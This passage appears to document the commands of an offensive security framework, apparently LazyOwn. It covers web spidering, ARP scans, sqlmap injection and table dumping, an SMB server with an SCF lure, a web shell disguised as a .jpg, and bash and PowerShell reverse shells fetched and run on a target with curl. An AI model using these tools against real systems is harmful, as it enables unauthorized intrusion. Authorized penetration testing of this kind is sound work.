• TTL values around 128 typically indicate a Windows system.

Ensure you have assign rhost to the target host for the command to work.

gospider

Try gospider for web spidering.

This function executes the gospider tool to perform web spidering. It can either use a URL provided as a parameter or the remote host defined in self.params.

Usage: gospider url gospider

:param line: Command parameter that determines the execution mode. Use "url" to specify a URL, or leave empty to use the remote host. :type line: str

• If line is "url", the method uses the URL specified in self.params["url"].
• If line is not "url", the method uses the remote host specified in self.params["rhost"].

:returns: None

Manual execution:

1. Ensure that the gospider tool is installed on the system.
2. assign the url parameter if using the "url" mode.
3. Run the method to perform the spidering operation.

Dependencies:

• gospider must be installed on the system.
• The sudo command must be available for installing gospider.

Examples: 1. To scan a specific URL: gospider url 2. To scan the remote host: gospider

Note: - If gospider is not installed, the method will attempt to install it. - Ensure that the network and tools are configured correctly for successful execution.

arpscan

Executes an ARP scan using arp-scan.

This function performs an ARP scan on the local network using the arp-scan tool. The network device to be used for scanning must be specified.

Usage: arpscan

:param line: Command parameters (not used in this function). :type line: str

• Executes the arp-scan command with the specified network device.

:returns: None

Manual execution:

1. Ensure that the network device is assign using the appropriate parameter.
2. Run the method to perform an ARP scan.

Dependencies:

• arp-scan must be installed on the system.
• The sudo command must be available for executing arp-scan.

Examples: 1. assign the device parameter using assign device <network_device>. 2. Run arpscan to perform the ARP scan.

Note: - The network device must be configured and available on the system for the scan to work. - Ensure that arp-scan is installed and accessible from the command line.

lazypwn

Executes the LazyPwn script.

This function runs the lazypwn.py script located in the modules directory. The script is typically used for automated exploitation or security testing tasks within the LazyOwn framework.

Usage: lazypwn

:param line: Command parameters (not used in this function). :type line: str

• Executes the lazypwn.py script with Python 3.

:returns: None

Manual execution:

1. Run the method to execute the LazyPwn script.

Dependencies:

• The lazypwn.py script must be present in the modules directory.
• Python 3 must be installed and accessible from the command line.

Examples: 1. Run do_lazypwn to execute the LazyPwn script.

Note: - Ensure that lazypwn.py is configured correctly before running this method. - The script's functionality depends on its implementation in modules/lazypwn.py.

fixel

Fixes file permissions and line endings in the project directories.

This function converts line endings from DOS/Windows format to Unix format for all files in the project directories. This helps to ensure consistent line endings and can prevent issues related to file format mismatches.

Usage: fixel

:param line: Command parameters (not used in this function). :type line: str

:returns: None

Manual execution:

1. Run the method to fix line endings in the specified directories.

Dependencies:

• The dos2unix command must be installed and accessible from the command line.

Examples: 1. Run do_fixel to convert line endings for all files in the project directories.

Note: - This method only fixes line endings and does not modify file permissions. - Ensure that the dos2unix command is installed and functioning correctly.

smbserver

Sets up an SMB server using Impacket and creates an SCF file for SMB share access.

This function configures an SMB server to serve files from the sessions directory and generates an SCF file that points to the SMB share. The SCF file can be used to create a shortcut to the SMB share on a Windows system.

Usage: smbserver

:param line: Command parameters folder name (optional). :type line: str

• Checks if lhost is valid using the check_lhost function.
• Creates an SCF file (sessions/file.scf) with configuration to access the SMB share.
• Copies a curl command to the clipboard for downloading the SCF file from the SMB share.
• Starts an SMB server using Impacket to serve the sessions directory.

:returns: None

Manual execution:

1. Ensure lhost is assign to a valid IP address or hostname.
2. Run the method to create the SCF file and start the SMB server.
3. Use the copied curl command to download the SCF file on the target system.
4. Ensure that impacket-smbserver is installed and accessible from the command line.

Dependencies:

• The impacket-smbserver tool must be installed and accessible from the command line.
• The check_lhost function must validate the lhost parameter.

Examples: 1. Run do_smbserver to assign up the SMB server and generate the SCF file. 2. Use the provided curl command to download the SCF file on the target system.

Note: - The SCF file is used to create a shortcut to the SMB share and should be accessible from the target system. - Ensure that the lhost parameter is correctly assign and that the SMB server is properly configured.

sqlmap

Uses sqlmap to perform SQL injection testing on a given URL or request file (you can get one with burpsuit or proxy command and foxyproxy plugin for browser).

This function allows the execution of sqlmap commands with various options, including testing URL endpoints, reading from request files, and using sqlmap's wizard mode for easy configuration.

Usage: sqlmap req <request_file> sqlmap req <request_file> sqlmap req <request_file> sqlmap req <request_file> sqlmap -wiz

:param line: Command parameters for sqlmap. :type line: str

• If line starts with req, it expects the following formats:

• req <request_file> <parameter>: Tests the specified parameter in the request file for SQL injection.

• req <request_file> <parameter> <database>: Tests the specified parameter and attempts to dump tables from the specified database.

• req <request_file> <parameter> <database> <table>: Tests the specified parameter and attempts to dump data from the specified table in the database.

• If line starts with -wiz, it runs sqlmap's wizard mode for interactive configuration.

• If line is empty, it uses the URL specified in self.params["url"] to perform SQL injection testing with sqlmap.

:returns: None

Manual execution:

1. If using req, provide a valid request file and parameters.
2. Run sqlmap with the specified options for SQL injection testing.
3. To use the wizard mode, execute sqlmap -wizard.
4. For URL-based testing, ensure url is assign and run sqlmap with the URL.

Dependencies:

• The sqlmap tool must be installed and accessible from the command line.
• The request file specified in req should be located in the sessions directory.

Examples: sqlmap req requests.txt id sqlmap req requests.txt id database_name sqlmap req requests.txt id database_name table_name sqlmap -wiz

Note: - Ensure the request file exists and is readable before running sqlmap. - The URL must be assign for URL-based testing. - The wizard mode is useful for interactive configuration if you're unsure about the options.

proxy

Runs a small proxy server to modify HTTP requests on the fly.

This function starts the lazyproxy.py script, which acts as a proxy server for intercepting and modifying HTTP requests. The server listens on port 8888.

Usage: proxy

:param line: This parameter is not used in the current implementation. :type line: str :returns: None

Manual execution:

1. Executes the lazyproxy.py script to start the proxy server.
2. The proxy server will run and modify requests as configured in the script.

Dependencies:

• The lazyproxy.py script must be available in the modules directory.

Example: proxy

Note: - Ensure that the lazyproxy.py script is correctly configured before running. - The proxy server will be accessible at http://localhost:8888. - To stop the proxy server, terminate the running process manually.

createwebshell

Creates a web shell disguised as a .jpg file in the sessions directory.

This function performs the following actions:

1. Runs a Python script lazycreate_webshell.py to create a disguised web shell.
2. Downloads a PHP web shell from a specified URL and saves it to the sessions directory.

Usage: createwebshell

:param line: This parameter is not used in the current implementation. :type line: str :returns: None

Manual execution:

1. Executes the lazycreate_webshell.py script to create a web shell disguised as a .jpg file.
2. Downloads a PHP web shell from the GitHub repository and saves it to sessions.

Dependencies:

• wget must be installed for downloading the web shell.
• The lazycreate_webshell.py script must be available in the modules directory.

Example: createwebshell

Note: - Ensure that the lazycreate_webshell.py script is correctly configured and accessible. - Verify the URL in the wget command to ensure it points to a valid and safe web shell.

createrevshell

Creates a bash reverse shell script in the sessions directory with the specified lhost and lport values.

This function performs the following actions:

1. Checks if lhost and lport are assign. If not, it prints an error message and exits.
2. Creates a bash reverse shell script using the provided lhost and lport values.
3. Saves the script to sessions/revshell.sh.
4. Prints a message with the curl command to download and execute the reverse shell script.
5. Copies the curl command to the clipboard.

Usage: createrevshell

:param line: This parameter is not used in the current implementation. :type line: str :returns: None

Manual execution:

1. Creates or overwrites the file sessions/revshell.sh with the bash reverse shell script.
2. Displays the command to download and execute the script via curl.
3. Copies the curl command to the clipboard for easy use.

Dependencies:

• Bash must be installed on the target system.
• xclip must be installed for copying the command to the clipboard.

Example: createrevshell

Note: - Ensure that lhost and lport are assign before running this command. - The script will listen for incoming connections on the specified lport and connect back to lhost. - Adjust the lhost and lport as needed for your specific environment.

createwinrevshell

Creates a PowerShell reverse shell script in the sessions directory with the specified lhost and lport values.

This function performs the following actions:

1. Checks if lhost and lport are assign. If not, it prints an error message and exits.
2. Creates a PowerShell reverse shell script using the provided lhost and lport values.
3. Saves the script to sessions/revshell.ps1.
4. Prints a message with the command to download and execute the reverse shell script via curl.
5. Copies the curl command to the clipboard.

Usage: createwinrevshell

:param line: This parameter is not used in the current implementation. :type line: str :returns: None

Manual execution:

1. Creates or overwrites the file sessions/revshell.ps1 with the PowerShell reverse shell script.
2. Displays the command to download and execute the script via curl.
3. Copies the curl command to the clipboard for easy use.

Dependencies:

• PowerShell must be installed on the target system.
• xclip must be installed for copying the command to the clipboard.

Example: createwinrevshell

Note: - Ensure that lhost and lport are assign before running this command. - The script will listen for incoming connections on the specified lport and connect back to lhost. - Adjust the lhost and lport as needed for your specific environment.

createhash

Creates a hash.txt file in the sessions directory with the specified hash value and analyzes it using Name-the-hash.

This function performs the following actions:

1. Validates the input line to ensure it is not empty.
2. Backs up the existing hash.txt file if it exists, renaming it to hash_{timestamp}.txt based on the current timestamp.
3. Writes the provided hash value to sessions/hash.txt.
4. Analyzes the hash value using Name-the-hash.

Usage: createhash

:param line: The hash value to be written to hash.txt and analyzed. :type line: str :returns: None

Manual execution:

1. Creates or overwrites the file sessions/hash.txt with the specified hash value.
2. Analyzes the hash value using the nth command.

Dependencies:

• sessions/hash.txt will be created in the sessions directory.
• Name-the-hash must be installed and accessible via the command nth.

Example: createhash 5f4dcc3b5aa765d61d8327deb882cf99

Note: - Ensure the hash value is correct before running the analysis. - The hash value should be provided as a single argument without extra characters or spaces.

createcredentials

Creates a credentials.txt file in the sessions directory with the specified username and password.

This function performs the following actions:

1. Validates the input line to ensure it contains a colon (:), indicating the presence of both a username and password.
2. Backs up the existing credentials.txt file if it exists, renaming it to credentials_{username}.txt based on the existing username.
3. Writes the valid input to sessions/credentials.txt.

Usage: createcredentials user:password

:param line: The input line containing the username and password in the format user:password. :type line: str :returns: None

Manual execution:

1. Creates or overwrites the file sessions/credentials.txt with the specified username and password.

Dependencies:

• sessions/credentials.txt will be created in the sessions directory.

Example: createcredentials administrator:passwordadministrator123&!

Note: - Ensure the input format is correct: user:password. - The credentials should be properly formatted with a colon separating the username and password.

createcookie

Creates a cookie.txt file in the sessions directory with the specified cookie value.

This function performs the following actions:

1. Extracts the cookie value from the provided input line using a regular expression.
2. Writes the extracted cookie value to sessions/cookie.txt.

Usage: createcookie cookie=user_data=valor_base64

:param line: The input line containing the cookie value in the format cookie=value. :type line: str :returns: None

Manual execution:

1. Creates or overwrites the file sessions/cookie.txt with the extracted cookie value.

Dependencies:

• sessions/cookie.txt will be created in the sessions directory.

Example: createcookie cookie=user_data=valor_base64

Note: - Ensure the input format is correct: cookie=value. - The cookie value should be properly encoded and formatted as needed.

download_resources

Downloads resources into the sessions directory.

This function performs the following actions:

1. Changes to the sessions directory and executes download_resources.sh to download required resources.

Usage: download_resources

:param line: Not used in this function. :type line: str :returns: None

Manual execution:

1. Runs t